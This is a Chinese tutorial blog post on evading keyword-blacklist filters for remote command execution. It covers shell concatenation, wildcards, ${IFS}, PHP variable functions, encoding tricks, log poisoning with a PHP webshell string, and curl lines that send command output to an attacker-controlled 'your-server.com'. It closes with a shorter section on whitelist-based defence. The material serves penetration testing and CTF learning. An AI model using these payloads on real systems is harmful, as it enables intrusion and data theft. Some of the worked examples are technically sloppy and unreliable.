远程命令执行漏洞绕过:从黑名单过滤到白名单防御的攻防实战

1. 从“黑名单”到“白名单”:理解远程命令执行的攻防本质

在安全测试和渗透测试的日常工作中,远程命令执行(RCE)漏洞无疑是皇冠上的明珠,也是最具破坏力的漏洞类型之一。它意味着攻击者能够直接在目标服务器上执行任意系统命令,从而完全控制服务器。然而,现实中的防护措施往往不是“裸奔”的,最常见的一道防线就是 关键字过滤 。开发人员或安全设备会设置一个“黑名单”,将 system exec bash cat flag 等敏感命令或路径直接拦截。很多初学者遇到这种过滤就束手无策,觉得无路可走。

但我想告诉你的是, 关键字过滤从来都不是铜墙铁壁,它更像是一扇布满破洞的木门 。防守方在明处,他们只能基于已知的、有限的“坏词”进行拦截;而攻击者在暗处,拥有近乎无限的编码、混淆和变形手段。绕过关键字过滤的核心思路,就是利用系统、编程语言或上下文环境的特性,构造出功能上等价于被禁命令,但字符串形态上完全不同的“payload”。这本质上是一场关于“表达”的博弈。收藏这篇文章,你将系统地掌握从基础到进阶的各种绕过手法,理解其背后的原理,而不仅仅是记忆几个Payload。当你下次再看到 preg_match("/system|exec|shell/i", $cmd) 这样的代码时,你的脑海中会自然浮现出至少三五种绕过方案。

2. 基础原理:命令是如何被解析和执行的?

在开始学习绕过技巧之前,我们必须先夯实基础:一个命令字符串是如何最终变成系统调用的?理解这个过程,是创造所有绕过手法的源泉。

2.1 Shell的命令解析流程

当我们输入 ls -la /tmp 并按下回车后,Shell(如Bash、Zsh)并不是直接把这个字符串扔给操作系统。它会经历一个复杂的解析过程:

  1. 词法分析 :将输入字符串拆分成一个个“词元”(token)。例如, ls -la /tmp 被识别为三个独立的词元。引号内的内容(如 "my file" )会被视为一个整体。
  2. 解析 :根据Shell的语法规则,构建命令树。识别出命令名( ls )、选项( -l -a )、参数( /tmp )、管道( | )、重定向( > )等结构。
  3. 扩展 :执行各种替换。这是最关键的一步,包括:
    • 变量扩展 $HOME 会被替换成 /home/user
    • 命令替换 `whoami` $(whoami) 会先执行内部的 whoami 命令,并将其输出结果替换到原位置。
    • 通配符扩展 *.txt 会被替换成当前目录下所有 .txt 文件名的列表。
    • 波浪号扩展 ~ 被替换为家目录路径。
  4. 重定向与管道设置 :建立输入输出流。
  5. 命令执行 :最终,Shell调用 execve() 等系统调用,将处理后的命令名和参数数组传递给内核,启动新进程。

绕过启示 :过滤程序通常只在第1步或第3步之前,对原始输入字符串进行简单的字符串匹配。如果我们能利用第3步(扩展)或Shell语法的其他特性,在过滤之后才“生成”真正的敏感命令,就能成功绕过。

2.2 编程语言中的命令执行函数

在PHP、Python、Java等Web应用中,命令执行通常通过特定函数触发。以PHP为例:

  • system($command) :执行外部命令,并输出结果。
  • exec($command, $output, $return_var) :执行命令,不直接输出,可将结果存入数组。
  • shell_exec($command) :通过Shell环境执行命令,以字符串形式返回全部输出。
  • `$command` (反引号):与 shell_exec() 功能相同。
  • passthru($command, $return_var) :执行命令并直接输出原始结果。
  • popen() / proc_open() :更底层的进程控制接口。

绕过启示 :过滤可能针对函数名(如 system )或命令参数(如 cat /etc/passwd )。我们的任务就是让“函数调用”或“命令字符串”在通过过滤检查时“看起来人畜无害”,而在实际执行时“露出獠牙”。

注意 :在实际漏洞利用中,首先要通过代码审计或黑盒测试(如修改参数观察回显、报错)来确定目标到底使用了哪个函数,以及过滤发生在哪个环节。盲目尝试会事倍功半。

3. 初级绕过:利用Shell与编码的特性

这一层的绕过手法不依赖特定编程语言,主要利用Shell解释器自身的特性,适合在直接获取Shell交互环境或通过 shell_exec 、反引号执行命令时使用。

3.1 命令分隔与拼接

Shell提供了多种方式将多个命令写在一行,或动态拼接命令字符串。

  • 分号 ; :顺序执行。 id; ls 会先执行 id ,再执行 ls 。即使前面的命令失败,后面的也会继续执行。
  • 逻辑运算符 && ||
    • && :前一个命令成功(返回0)才执行后一个。 ping -c 1 example.com && cat /etc/passwd ,只有ping通了才会执行cat。
    • || :前一个命令失败(返回非0)才执行后一个。 invalid_command || whoami ,因为 invalid_command 失败,所以执行 whoami
  • 管道 | :将前一个命令的输出作为后一个命令的输入。常用于过滤。例如,过滤 cat echo /etc/passwd | xargs cat xargs 将其输入作为参数传递给后面的命令。
  • 命令替换内联拼接 :这是绕过关键字过滤的利器。假设 cat 被过滤,我们可以用:
    a=c; b=at; c=/etc/passwd; $a$b $c
    
    或者更隐蔽地:
    /???/??t /???/??ss??
    
    这里利用了通配符 ? (匹配单个字符)和 * (匹配多个字符)。 /???/??t 可能匹配到 /bin/cat /???/??ss?? 可能匹配到 /etc/passwd 。这种方式的匹配具有不确定性,但在很多简单环境下有效。

实操心得 :在测试时,可以先用 echo 命令测试拼接效果,确认无误后再执行。例如: a=c;b=at;echo $a$b ,输出应为 cat ,证明拼接成功。

3.2 转义与引号妙用

引号和转义字符可以改变Shell对字符串的解释方式。

  • 反斜杠转义 :在单个字符前加 \ ,可以使其失去特殊含义,或者(在某些情况下)使其成为普通字符的一部分。对于绕过简单的基于字符串匹配的过滤,有时插入无关的转义符可能有效,但这取决于过滤器的严格程度。更常见的用法是处理文件名中的空格。
  • 单引号与双引号
    • 单引号 ' :强引用,内部所有字符都视为字面量,不进行任何扩展。
    • 双引号 " :弱引用,会进行变量扩展和命令替换,但不进行通配符扩展。
    • 绕过技巧 :如果过滤器愚蠢地只匹配连续的 cat ,那么 c'a't c"a"t c\at 在Shell解释后都是 cat 。因为引号在定义字符串时被移除,转义符也被处理。但请注意, c'a't 作为一个整体字符串,在PHP的 preg_match 中很可能依然会被 /cat/ 匹配到,因为正则表达式匹配的是字符串内容,不考虑引号。这种方法对简单的字符串匹配(如 strpos() )可能有效,但对正则匹配通常无效。

3.3 利用环境变量与通配符

这是Linux/Unix系统特性带来的天然绕过方式。

  • 环境变量截取 ${PATH:0:1} 返回变量 PATH 值的第一个字符。 ${PATH:1:1} 返回第二个字符。我们可以用这个来拼出命令。
    # 假设 /bin 在 PATH 中,其第一个字符是 /
    # 但更常用的是利用其他命令的输出或变量
    c=$(echo "cat" | cut -c1); a=$(echo "cat" | cut -c2-3); t=$(echo "cat" | cut -c4); $c$a$t /etc/passwd
    
    这种方法较为繁琐,但展示了可能性。
  • 通配符的威力 :如前所述, ? * 是强大的通配符。
    • 寻找 cat /usr/bin/c?t /bin/ca?
    • 寻找文件: /etc/pass*d /???/pass??
    • /bin 目录下有很多短小精悍的命令 ,当 cat more less 都被过滤时,可以尝试:
      • tac :反向输出文件( cat 的反写)。
      • rev :反向输出每一行。
      • head tail nl (加行号输出)、 od (八进制输出)、 xxd (十六进制输出)。这些命令可能不在过滤名单上。

常见问题 :使用通配符时,如果匹配到多个文件怎么办?例如, /???/??t 可能匹配到 /bin/cat /bin/net 等。这会导致命令执行错误。因此,在利用时,尽量使用更精确的匹配,或者通过目录限制(如 /bin/c?t )。

4. 中级绕过:编程语言特性与编码混淆

当漏洞出现在Web应用中,我们面对的是PHP、Python、Java等语言的过滤逻辑。这时需要利用这些语言自身的特性。

4.1 字符串构造与变形

这是最直接的方法,目标是在代码层面构造出“cat”这个字符串,但写法千变万化。

  • 字符串拼接
    // PHP
    $cmd = "c"."a"."t";
    system($cmd . " /etc/passwd");
    
    // Python
    import os
    cmd = "c" + "a" + "t"
    os.system(cmd + " /etc/passwd")
    
    // 利用数组 join
    // PHP
    $arr = array("c", "a", "t");
    $cmd = implode("", $arr); // 得到 "cat"
    system($cmd);
    
  • 字符串反转、截取、编码
    // 反转
    $cmd = strrev("tac"); // 得到 "cat"
    // 截取
    $str = "abcathij";
    $cmd = substr($str, 2, 3); // 从位置2开始取3个字符,得到 "cat"
    // Base64编码(需要解码函数)
    $cmd = base64_decode("Y2F0"); // 解码后得到 "cat"
    // 注意:如果目标环境没有调用解码函数,编码后的字符串本身无法执行。
    
  • 异或运算(XOR) :在PHP中,两个字符串进行异或运算,可以产生新的字符串。这是绕过WAF(Web应用防火墙)的经典手法。
    // 例如,构造 "cat"
    // ‘c’ 的ASCII码是 99, ‘a’是97, ‘t’是116。
    // 我们可以找到另外两个字符串,使它们的每个字符异或后得到 c, a, t。
    // 一个常见的技巧是利用全局变量(如 $_GET)的键名进行异或。
    // 简化示例:在安全测试工具中,可以自动化生成这样的Payload。
    // 手工构造非常复杂,通常借助脚本。
    
  • 利用进制转换
    // 八进制
    system("\143\141\164 /etc/passwd"); // \143 是八进制表示的 'c'
    // 十六进制
    system(hex2bin("636174") . " /etc/passwd"); // 636174 是 "cat" 的十六进制
    

注意事项 :这些方法能否成功, 极度依赖于过滤逻辑的严格程度 。如果过滤器使用正则表达式 /cat/i 进行匹配,那么简单的字符串拼接 "c"."at" 在拼接后形成的完整命令参数中,依然包含连续的 “cat” 子串, 很可能会被匹配到 。高级的过滤器甚至会模拟执行字符串拼接操作后再进行检查。因此,更有效的方法是让敏感关键字在 执行阶段 才动态生成,而不是在静态代码中拼接出来。

4.2 动态函数调用与可变变量

这是PHP中非常强大的特性,也是绕过静态关键字过滤的杀手锏。

  • 可变函数 :如果一个变量名后有圆括号 () ,PHP会尝试将该变量的值作为函数名来调用。
    $func = 'system';
    $func('whoami'); // 这将调用 system('whoami')
    // 如果 'system' 被过滤,我们可以用其他方式构造这个字符串
    $a = 'sy';
    $b = 'stem';
    $func = $a . $b;
    $func('whoami');
    
  • 可变变量 :使用美元符号 $$
    $command = 'whoami';
    $a = 'command';
    system($$a); // 等价于 system($command),即 system('whoami')
    // 可以嵌套混淆
    $b = 'a';
    system($$$b); // 解析:$$$b -> $$a -> $command -> 'whoami'
    

实操要点 :配合字符串构造技巧,可以将函数名和参数都拆解得支离破碎。例如,过滤器可能检查 $_GET['cmd'] 中是否包含 system 。我们可以这样传参:

?cmd=whoami&1=sy&2=stem

后端代码可能是:

$func = $_GET[1] . $_GET[2]; // 拼接成 'system'
$cmd = $_GET['cmd']; // 'whoami'
$func($cmd);

这样,在原始输入参数里,完全找不到连续的 system 字符串。

4.3 利用包含与序列化(PHP特定)

当直接执行点被堵死,可以考虑曲线救国。

  • 文件包含配合日志注入 :如果有关键字过滤,但存在文件包含漏洞(LFI),可以将命令写入日志文件,然后包含该日志文件使其执行。
    1. 用户输入会被记录到访问日志或错误日志中。例如,我们请求 http://target/<?php system($_GET[‘c’]);?>
    2. 这个请求的URL中包含PHP代码,可能会被原样记录在 access.log 中。
    3. 利用文件包含漏洞包含这个日志文件: ?file=/var/log/apache2/access.log
    4. 日志文件被包含时,其中的PHP代码会被解析执行。
    • 绕过逻辑 :过滤可能只针对某个特定的参数(如 ?cmd= ),但对User-Agent、Referer等HTTP头或URL路径的过滤较弱。我们可以将Payload放在这些地方注入到日志中。
  • 反序列化漏洞 :如果应用使用了不安全的反序列化,可以构造一个恶意的序列化对象,在其 __destruct() __wakeup() 魔术方法中调用命令执行函数。这种方式完全脱离了普通的参数传递,关键字过滤往往形同虚设。但这需要了解目标应用的类结构,属于更高级的利用。

5. 高级绕过:操作系统特性与无字母数字构造

当过滤极其严格,甚至禁用了大部分特殊字符时,就需要祭出这些“奇技淫巧”。

5.1 Linux下的通配符进阶利用

在Bash中,通配符在扩展前,会先尝试将其作为命令执行。这一点可以被利用。

  • /bin 目录的妙用 /bin 目录下有很多单字母或双字母的命令,如 [ b c d w ls cp dd 等。我们可以用通配符 ? 来匹配它们。
  • 构造无字母数字的Shell :这是经典的技巧,仅使用 $0 $@ $* ? * / 等字符来启动一个Shell。
    # 方法1:利用 /bin/bash 的通配符匹配
    /???/?????   # 可能匹配到 /bin/bash
    # 但这需要运气,因为 /usr/bin/python 也可能匹配。
    
    # 方法2:更可靠的方法是利用环境变量和通配符生成 `sh`
    # 假设我们可以控制一个环境变量或参数,使其值为 `/bin/sh`
    # 或者利用已有的命令,如:
    ${PATH:0:1}  # 得到 ‘/‘
    # 但构造起来非常复杂,通常需要结合其他漏洞。
    
    # 一个著名的技巧是:在Bash中,`$0` 代表当前脚本或Shell的名称。
    # 如果我们能令 `$0` 的值为 `-bash` 或 `-sh`,加上参数 `-c`,就能执行命令。
    # 例如,在某些CGI或特殊调用场景下可以实现。
    

实际案例 :在有些CTF题目中,过滤了所有字母和数字,只允许使用 $ _ {} ? * / 等少数字符。解题思路通常是:

  1. ? * 匹配到 /bin 目录下的某个脚本或程序。
  2. 利用这个程序(如 base64 bc awk sed )的读写或计算功能,将命令写入文件或直接执行。
  3. 例如,用 base64 解码一个预先写好的Payload。

5.2 利用已有命令进行文件读写

cat more less head tail 全部被禁时,我们还可以:

  • 使用 awk awk '{print}' /etc/passwd 可以打印文件全部内容。 awk 'NR==1' /etc/passwd 打印第一行。
  • 使用 sed sed -n 'p' /etc/passwd 打印所有行。
  • 使用 perl python :如果系统安装了这些解释器,它们就是最强大的武器。
    perl -e 'print `whoami`' # 执行命令
    perl -e 'open(F, "/etc/passwd"); print while(<F>);' # 读文件
    python -c "import os; print(os.popen('whoami').read())"
    python -c "print(open('/etc/passwd').read())"
    
  • 使用 curl wget 外带数据 :如果命令执行有回显但被过滤,或者无回显,可以将结果发送到自己的服务器。
    curl http://your-server.com/`whoami`
    # 或者
    whoami | base64 | curl -X POST --data-binary @- http://your-server.com
    
  • 使用 dd 命令 dd 本是用于转换和复制文件的,但可以用来读取文件: dd if=/etc/passwd 。甚至可以用来写文件(向服务器写入Webshell)。

排查技巧 :在得到一个有限的命令执行点后,第一件事就是探测可用命令。可以尝试:

# 查看PATH
echo $PATH
# 查看 /bin 和 /usr/bin 目录下的文件
/bin/ls /bin
/usr/bin/ls /usr/bin
# 寻找特定工具
which awk python perl nc curl wget php find

5.3 空格绕过

空格也常常是过滤对象,因为它是命令参数的分隔符。绕过方法有:

  • ${IFS} :在Shell中, IFS 是内部字段分隔符,默认包含空格、制表符、换行符。 cat${IFS}/etc/passwd
  • $IFS$9 $9 通常是第9个参数,通常为空。 $IFS$9 连在一起,中间的空格来自 IFS cat$IFS$9/etc/passwd
  • 重定向符 < <> cat</etc/passwd < 将文件内容作为命令的标准输入。
  • 制表符 %09 (URL编码) :在某些上下文中,制表符也可以作为分隔符。 cat%09/etc/passwd
  • 花括号 {cat,/etc/passwd} :这种写法不需要空格。 {cat,/etc/passwd} 会依次执行 cat /etc/passwd ,但通常用于其他目的,不过在这种语法下,逗号分隔了参数。

6. 实战演练与综合Payload构造

理论学得再多,不如动手一试。我们模拟一个经典的场景:一个PHP页面存在命令执行漏洞,但对 system exec passthru shell_exec 、反引号等函数名,以及 cat flag etc passwd bin sh bash 等关键字进行了黑名单过滤。

假设漏洞代码片段如下:

<?php
$cmd = $_GET['input'];
$blacklist = array('system', 'exec', 'passthru', 'shell_exec', 'cat', 'flag', 'etc', 'passwd', 'bin', 'sh', 'bash');
foreach ($blacklist as $badword) {
    if (stripos($cmd, $badword) !== false) {
        die('Hacker detected!');
    }
}
// 假设这里危险地使用了 eval 或类似函数执行了 $cmd
// 例如:eval("system('" . $cmd . "');");
// 注意:这是一个极度危险且不真实的示例,仅用于教学。
?>

我们的目标是读取 /etc/passwd 文件。

攻击思路演进:

  1. 尝试基础拼接 ?input=c\at /etc/passwd 。失败,因为 stripos 会在字符串中找到 cat
  2. 尝试引号分割 ?input=c'a't /etc/passwd 。失败,原因同上。
  3. 尝试使用其他命令 ?input=tail /etc/passwd 。成功!因为 tail 不在黑名单。 第一课:永远先尝试黑名单外的替代命令。
  4. 如果 tail 也被加入黑名单 ?input=more /etc/passwd -> 尝试 less head nl od -c /etc/passwd xxd /etc/passwd
  5. 如果所有读文件命令都被禁 :考虑使用脚本语言。 ?input=php -r "echo file_get_contents('/etc/passwd');" 。但 php 可能也被禁。
  6. 使用通配符 ?input=/???/c?t /???/pass?? 。这里 /???/c?t 可能匹配到 /bin/cat ,但字符串中包含了 cat pass ,会被过滤。需要更巧妙的通配符,或者绕过路径关键字。
  7. 绕过路径关键字 /etc/passwd 包含 etc passwd 。我们可以:
    • 使用绝对路径的另一种表示: /???/?????? 可能匹配到 /etc/passwd ,但不稳定。
    • 使用父目录引用: /etc/passwd 等价于 /etc/./passwd ,也等价于 /etc/../etc/passwd 。但 etc 还是出现了。
    • 使用变量或命令替换生成路径 :这是关键。假设我们能执行命令,可以先获取路径。
      # 假设我们可以先执行一个无过滤的命令
      ?input=echo /etc/passwd > /tmp/path.txt
      # 然后读取这个临时文件
      ?input=/???/c?t /tmp/path.txt
      
      但这里又涉及写文件,可能需要 echo > ,这些可能不被过滤。
  8. 终极思路:编码外带 :如果目标能出网,最稳妥的方式是将结果编码后通过HTTP/DNS请求发送出来。
    ?input=curl -X POST http://your-server.com --data "$(/???/c?t /???/?????? | base64)"
    
    或者更隐蔽地,使用 ping 命令通过ICMP包带出数据(需要接收端监听ICMP),或者使用 dig 通过DNS隧道。

一个综合Payload示例(假设仅过滤关键字,不过滤 $() 和空格)

?input=c\a\t /etc/passwd

这个简单的Payload可能对 stripos 无效,但对某些简单的 str_replace 过滤可能有效,因为 str_replace('cat', '', $cmd) 处理 c\at 时,找不到连续的 cat 字符串。

更高级的,利用变量和通配符

?input=a=c;b=at;$a$b /etc/passwd

在Shell中,分号分隔命令,变量拼接后执行。但注意,整个参数字符串在PHP中仍然是 a=c;b=at;$a$b /etc/passwd ,其中包含了 at passwd ,可能被过滤。我们需要避免这些子串。

最终,一个可能成功的Payload是

?input=/???/c?t /???/??????

这个字符串中不包含任何完整的黑名单词汇 cat , passwd ,只包含 c t p s d 等字母和通配符。能否成功取决于服务器端的 stripos 过滤逻辑。如果它只是简单检查输入字符串是否包含黑名单词,那么这个Payload就能绕过。这就是黑名单过滤的固有缺陷:无法穷尽所有可能的表现形式。

7. 防御视角:如何构建更安全的过滤?

知己知彼,百战不殆。了解了这么多绕过手法,从防御者角度,我们应该怎么做?

  1. 白名单优于黑名单 :这是最重要的原则。如果可能,只允许用户输入有限的、预定义的、安全的选项(如 ls , pwd , date ),而不是允许输入任意命令。
  2. 严格输入验证
    • 类型与范围 :如果参数应该是数字,就用 is_numeric() intval() 严格校验。
    • 长度限制 :限制输入字符串的长度。
    • 字符集限制 :只允许字母、数字、下划线等必要字符。使用正则表达式如 /^[a-zA-Z0-9_]+$/ 进行校验。
  3. 避免直接命令执行 :这是治本之策。寻找不需要调用Shell命令的编程语言替代方案。例如,用PHP的 scandir() 代替 ls ,用 file_get_contents() 代替 cat ,用 unlink() 代替 rm
  4. 如果必须执行命令
    • 使用白名单映射 :将用户输入映射到预定义的命令和参数。
    • 使用安全的API :如PHP的 escapeshellarg() escapeshellcmd() 函数。 但要注意 ,它们并非万能,在复杂情况下也可能被绕过(例如,配合通配符或环境变量注入时)。最佳实践是连同命令一起,用白名单限定参数。
    • 降低权限 :以最低权限的用户身份(如 www-data )运行Web服务,并配置适当的文件系统权限(chroot jail, AppArmor, SELinux)。
    • 禁用危险函数 :在 php.ini 中,使用 disable_functions 指令禁用 system , exec , passthru , shell_exec , proc_open , popen 等函数。
    • 使用自定义函数包装 :编写一个严格的命令执行函数,内部进行白名单校验、参数转义和日志记录。
  5. 纵深防御
    • WAF(Web应用防火墙) :部署WAF可以拦截大量已知的攻击Payload。
    • 定期更新与审计 :更新系统、中间件和应用程序,定期进行安全代码审计和渗透测试。
    • 日志与监控 :详细记录所有命令执行操作,并设置告警机制,对异常行为(如执行 bash wget curl )进行实时告警。

绕过的艺术永无止境,而防御的本质是不断提高攻击的成本。对于开发者而言,最安全的方法就是永远不要相信用户的任何输入,并在设计之初就避免将用户输入与系统命令关联起来。对于安全研究者而言,理解这些绕过技巧,不仅能用于渗透测试,更能深刻理解防御的薄弱点所在,从而设计出更健壮的系统。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值